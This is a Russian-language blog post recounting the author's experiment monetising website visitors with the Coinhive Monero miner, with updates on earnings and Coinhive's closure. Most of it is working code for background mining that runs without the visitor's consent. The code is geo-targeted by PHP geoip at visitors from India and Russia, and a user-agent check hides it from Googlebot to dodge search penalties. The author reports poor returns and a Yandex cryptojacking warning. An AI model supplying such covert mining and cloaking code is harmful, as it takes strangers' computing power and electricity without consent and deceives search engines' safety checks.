Мой эксперимент: Заработок криптовалюты Monero на своем сайте
Не так давно была новость о том, что торрент трекер piratebay начал зарабатывать на майнинге криптовалюты средствами посетителей. Я подумал, чем я хуже, надо попробовать. О том как это было и какие результаты получил я под катом..
Для начала, давайте расскажу немного и цифрах и причинах которые привели меня к этому способу заработка.
Вот статистика подопытного, с его посещаемостью и доходами за месяц
Как видно из скриншота, с помощью текущей партнерки большинство трафика монетизируется достаточно хорошо, но есть и такой который плохо, а именно Canada, India, Pakistan, хоть и нет в списке, но там еще целый ряд более мелких. Это хорошо видно по eCPM.
Можно ли из "бедных" индусов выжать побольше? Это сегодня и проверим.
Итак проверять будем монетизацию с помощью встраивания javascript майнера для определенного региона пользователей.
Самый популярный JS майнер - Coinhive, который майнит криптовалюту Monero. Его и будем использовать.
Заходим на сайт https://coinhive.com, регистрируемся, переходим в Settings » Sites & API Keys и получаем SiteKey
Теперь разберемся со способами которые можно использовать для майнинга.
Shortlinks
Cокращатель ссылок, который при переходе по короткой ссылке, выполняет майнинг до редиректа.
Сгенерировать ссылку можно из главного меню сайта, перейдя в раздел Shortlinks
Miner UI
Позволяет создать красивый интерфейс, для запуска, остановки и ограничения майнинга.
Вот так выглядит такой виджет:
Как видите, вы можете добавить такой виджет на сайт, а пользователя, сможет запускать / останавливать майнинг, выбрать сколько ядер процессора использовать, и насколько их загружать. Кроме того видно сколько хешей обработано и средняя скорость обработки.
Вполне честный виджет и полезен для тех кто реально хочет помочь сайту или проекту, но не может сделать это финансово.
Создается он элементарно, вот код в котором надо заменить {SITE-KEY} на ваш SiteKey из настроек и просто вставить на сайт
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<center> <script src="https://authedmine.com/lib/simple-ui.min.js" async></script> <div class="coinhive-miner" style="width: 256px; height: 310px" data-key="{SITE-KEY}" data-autostart="true" data-whitelabel="false" data-background="#ffffff" data-text="#000000" data-action="#009900" data-graph="#555555" data-threads="4" data-throttle="0.5"> <em>Если не работает, отключите AdBlock</em> </div> </center> |
Разумеется можно настроить цвета и параметры. Почитать про параметры лучше в документации (coinhive.com/documentation/simple-ui), основные на которые стоит обратить внимание:
- data-key = ваш site key из настроек
- data-autostart = автозапускать или нет. Атозапуск будет работать, если пользователь сам запустил майнер ранее. Т.е. пользователь зашел на страницу, запустил майнер, перешел на другую страницу, майнер включится.
- data-threads = кол-во поток для майнинга по-умолчанию (можно уменьшить на виджете)
- data-throttle = загрузка потоков от 0 до 1
AuthedMine или Non-Adblocked Miner
Это не режим, а предупреждающее окно о том что на сайте может быть использован майнер. Проблема в том, что у всех бомбит пукан от того, что тот или иной веб-мастер зарабатывает пару копеек на своем сайте. Поэтому как только прошла новость про piratebay и их эксперимент с монетизацией через майнинг, стали появляться anti miner плагины для браузера, большинство популярных блокировщиков (AdBlock, uBlock) добавили coinhive.com в список блокировки. Туда же подключились и антивирусы. В общем, идею такого заработка начали давить в зародыше. CoinHive зарегали другой домен и разместили на нем модификацию скрипта, который при запуске выдает запрос о готовности пользователя к тому, что на сайте может быть включен майнер. Выглядит это примерно так:
Работает это так, сам код виджетов менять не надо. Однако, нужно использовать один из двух скриптов загрузки майнера:
- https://authedmine.com/lib/authedmine.min.js = будет окно подтверждения, но есть шанс на то, что блокировщик пропустит
- https://coinhive.com/lib/coinhive.min.js = НЕ будет окна подтверждения, но всего скорее скрипт будет заблокирован
Молодцы ребята, быстро среагировали.
Captcha
Интересная замена гугловской Recaptcha. Если там надо отгадывать картинки и это раздражает пользователей, то тут надо сгенерировать некоторое кол-во хешей. Пользователей не раздражает, веб-мастеру копеечка, спамеру накладно.
Выглядит вот так
Интеграция так же простая, но не забудьте поменять SiteKey на ваш
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<form action="?" method="post"> <!-- other form fields --> <script src="https://authedmine.com/lib/captcha.min.js" async></script> <div class="coinhive-captcha" data-hashes="1024" data-key="{SITE_KEY}"> <em>Loading Captcha...<br> If it doesn't load, please disable Adblock!</em> </div> <input type="submit" value="Submit"/> </form> |
В поле data-hashes указываете сколько хешей надо сгенерировать для решения каптчи. Т.е. чтобы усложнить каптчу, просто увеличьте это число, для пользователь подождать на пару секунд дольше не проблема, а спамера тормозит
Полный пример, включая бекенд код, смотрите в документации: https://coinhive.com/documentation/captcha
JavaScript Miner
Это самый интересный режим, позволяющий запускать майнер в фоне. Т.е. пользователь зашел на страницу, майнер запустился и пока он на странице майнер работает. Именно этим способом я и буду пробовать монетизировать трафик из индии, но об этом позже.
Минимальный код прост
1 2 3 4 5 6 7 |
<script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('{SITE_KEY}'); miner.start(); </script> |
Такой код знатно пригрузит комп, выкрутит все ядра на 100%. Это нам не подходит, поэтому давайте тюнинговать:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('{SITE_KEY}',{ \\ threads: 4, autoThreads: true, throttle: 0.5, }); if (!miner.isMobile()) { miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); } </script> |
Разберемся с используемыми опциями:
в конструкторе
- threads = кол-во потоков
- autoThreads = использовать автоматическое определение кол-ва потоков
- throttle = коэфициент загрузки потоков от 0 до 1 (0.25 = 75% загрузки, 0.75 = 25% загрузки)
при запуске
- CoinHive.IF_EXCLUSIVE_TAB = майнер запустится, если нет запущеного майнера в других вкладках
- CoinHive.FORCE_EXCLUSIVE_TAB = майнер запустится и завершит майнинг в других вкладках
- CoinHive.FORCE_MULTI_TAB = майнер запустится в любом случае, и не может быть убит майнерами с других вкладок
Функция miner.isMobile() проверяет пришел ли пользователь с мобильного устройства. В моем примере, я не разрешаю запуск в таком случае - не надо садить батарею.
Опций гораздо больше, поэтому советую почитать документацию: https://coinhive.com/documentation/miner.
Так же стоит упомянуть, что можно использовать другой конструктор
1 2 3 |
CoinHive.User(siteKey, userName [, options]) |
куда можно передать userName (не обязательно имя, можно id или хеш) и отслеживать с помощью api (coinhive.com/documentation/http-api) какой именно пользователь вашего сайта и сколько намайнил. Это удобно, если хотите сделать, например, игровые покупки за майнинг. Т.е. когда пользователь зашел на сайт, помайнил, а вы ему новый статус на сайте или пару жизней в игре. Ну, идею вы поняли, подробнее читайте в доках..
Моя игра
Теперь представим, что пользователь зашел на сайт за какой-то "быстрой" информацией или глянуть вообще подходит ему страница или нет. У него грузятся картинки, другие скрипты и запускать еще и майнинг в этот момент, не совсем то, что надо. Лучше немного подождать и запускать в том случае, если пользователь остался на странице. Пусть это будет 5 секунд. Код изменится так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> setTimeout(function(){ var miner = new CoinHive.Anonymous('{SITE_KEY}',{ autoThreads: true, throttle: 0.5, }); if (!miner.isMobile()) { miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); } }, 5000); </script> |
Теперь давайте еще немного оптимизируем и сделаем загрузку внешнего скрипта, так же спустя 5 секунд. Зачем нам лишний запрос, если пользователь решил уйти
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
setTimeout(function(){ (function(d, s, id){ var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)){ return; } js = d.createElement(s); js.id = id; js.onload = function(){ var miner = new CoinHive.Anonymous('{SITE_KEY}',{ autoThreads: true, throttle: 0.5 }); if (!miner.isMobile()) { miner.start(CoinHive.IF_EXCLUSIVE_TAB); } }; js.src = "https://coinhive.com/lib/coinhive.min.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'miner-jssdk')); }, 5000); |
ну и последнее, если есть на странице jquery или аналог, запустим скрипт только после загрузки dom
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$(function(){ setTimeout(function(){ (function(d, s, id){ var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)){ return; } js = d.createElement(s); js.id = id; js.onload = function(){ var miner = new CoinHive.Anonymous('{SITE_KEY}',{ autoThreads: true, throttle: 0.5 }); if (!miner.isMobile()) { miner.start(CoinHive.IF_EXCLUSIVE_TAB); } }; js.src = "https://coinhive.com/lib/coinhive.min.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'miner-jssdk')); }, 5000); }); |
Теперь запустим этот код, только для Индии. Для этого нам нужен активное расширение php geoip (php.net/manual/en/book.geoip.php). В большинстве случаев оно есть на хостинге, если еще нет установите или попросите об этом хостера. Идем вот сюда iso3166 (dev.maxmind.com/geoip/legacy/codes/iso3166/), смотрим буквенный код Индии - это IN, ну и например, России - это RU. Показываем JS только для посетителей из Индии и России:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<?php $visitorCountryCode = strtoupper(geoip_country_code_by_name($_SERVER['REMOTE_ADDR'])); $showMinerForCountryCode = ['IN', 'RU']; if (in_array($visitorCountryCode, $showMinerForCountryCode)):?> $(function(){ setTimeout(function(){ (function(d, s, id){ var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)){ return; } js = d.createElement(s); js.id = id; js.onload = function(){ var miner = new CoinHive.Anonymous('{SITE_KEY}',{ autoThreads: true, throttle: 0.5 }); if (!miner.isMobile()) { miner.start(CoinHive.IF_EXCLUSIVE_TAB); } }; js.src = "https://coinhive.com/lib/coinhive.min.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'miner-jssdk')); }, 5000); }); <?php endif;?> |
Еще, для здоровья сайта, неплохо было бы спрятать этот код от поисковых роботов. Сделать это можно, примерно так:
1 2 3 4 5 |
<?php if (!strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot')):?> -- остальной код -- <?php endif;?> |
Ну, вот и все, теперь монетизируем основных посетителей одной рекламой. А, посетителям из Индии и России включаем еще и майнер.
Стоит ли игра свечь
Если коротко, то в моем случае НЕТ. И вот почему:
- Использование майнера на обычном сайте грозит ему санкциями со всех сторон: антивирусы, блокировщики, safebrowsing списки и главное поисковые системы
- По той же причине, такие прикольные штуки как каптча или донат с согласия, не будут работать, т.к. они блокируются еще до своего отображения на сайте
- Не приносит значительного увеличения дохода
Сейчас я озвучу цифры, но сперва скажу, что для эксперимента, я включил майнер для всех стран кроме US на 1 день.
Трафик за 1 день (~24 часа)
Доход в Coinhive за 1 день
- всего уникальных посещений: ~ 5.000 (трафик без учета US)
- просмотров страниц: ~ 7700 (1,54 на посетителя)
- обработано хешей: ~ 10M
- заработано XMR: ~ 0.0013
Теоретический доход за 1 месяц
Теперь посчитаем сколько можно заработать за месяц
- 0.0013 * 30 = 0,039 XMR
- по текущему курсу это 6.90 usd
Как видите, цифры не шокирующие, особенно ввиду того, что майнер работал по всем странам. Кроме того, из этой суммы надо вычесть 100500 комиссий, которые у вас возьмут пока вы выведите эти деньги в наличку.
Да, это по прежнему деньги, и $6.90 больше 0, но стоит ли оно того? Решать Вам.
Заключение
Идея майнинга через javascript за счет посетителей сайта - классная. Как это будет организовано: скрытый майнинг, донатный майнинг, каптча или что-то другое - дело десятое.
Можно ли заменить баннерную рекламу, чтобы были сопоставимые доходы - зависит от типа майнинга.
- Если это контентный сайт, справочник, форум - то, всего скорее, нет.
- Если это какой-то сайт где пользователь "зависает": онлайн кинотеатр, социальная сеть или другой проект где сайт подолгу открыт у пользователя. Например, думаю, Вконтакте с их прослушиванием музыки, мог бы легко заработать на этом.
- Есть еще один интересный вариант, это покупка игрового доната, либо оплата сервисов за майнинг. Например, Вы проиграли в игре и Вам предлагают восстановиться за 15 сек майнинга. При правильном подходе и популярности, это так же может принести доход.
Можно ли использовать этот способ как дополнительный источник дохода - конечно. Можно монетизировать сложно монетизируемый трафик, как, например, в моем случае трафик из Индии. Так же можно использовать каптчу и укорачиватель ссылок, но тут надо учитывать блокировки от антивирусов, поисковиков и понимать, что у кого-то ту же каптчу может антивирус заблокировать.
Есть и обратная сторона, в тех проектах которые зависят от поисковых систем, лучше не использовать такой способ монетизации за пределами закрытых зон. Например, на главную онлайн кинотеатра лучше не ставить, а вот в просмотр кино, работающий только после авторизации, встраивать можно. Если это не учитывать рано или поздно прилетят санкции он поисковиков.
Если Вы пробовали использовать майнинг на своем сайте, напишите пару строк об этом опыте в комментариях. Очень интересно, какие результаты получили вы.
-- [добавлено 30.12.17] --
Публикую результаты спустя 1 месяц эксперимента
Как видите, заработано меньше ожидаемого результата. Связано это с тем, что выплаты системой за 1 миллион хешей уменьшились с 0.000131 до 0.000060, т.е. больше чем в два раза. Это не учитывалось в предыдущих расчетах. На сегодняшний момент заработанные 0.02858 можно вывести в 6.32 евро или примерно 7.5 $ (согласно сайта anycoindirect.eu). При такой тенденции, это составит около 90$ / год дополнительного дохода.
--[добавлено 02.10.18]--
Вот и началось, сегодня в вебмастере Яндекса увидел предупреждение и ссылку на эту страницу
Текст сообщения:
Криптоджекинг
Сайт или некоторые его страницы показываются с пометкой «Сайт может быть опасен». В результатах поиска позиции страниц с такой пометкой понижены.
На сайте обнаружен скрипт, предназначенный для майнинга криптовалют на компьютерах пользователей, поэтому в результатах поиска ссылки на сайт сопровождаются предупреждением пользователей и ранжируются ниже.Найдите модифицированные файлы на сайте и удалите скрипты криптоджекинга. После этого не забудьте нажать кнопку «Я всё исправил».
Появилось оно из-за того, что на эту страницу был вставлен код который отображал виджет, с помощью которого можно было запустить/остановить майнер. Сделано это было для примера, по-умолчанию майнинг был отключен и был написан целый абзац об этом внутри статьи. Как Вы понимаете, я убрал этот виджет со страницы, чтобы исправить эту ошибку. А вам советую быть очень осторожными в своих экспериментах, чтобы не угробить ваши сайты.
--[добавлено, 5 марта 2019]--
В официвльном блоге Coinhive сообщили о закрытии проекта 8 марта 2019, в связи с ростом хешрейта и падением рынка криптовалют. Интересный был проект, и я даже примерно 10$ баксов, надеюсь его команда придумает что-то еще.
Author: | Tags: /
| Rating:
9 comments.
Write a comment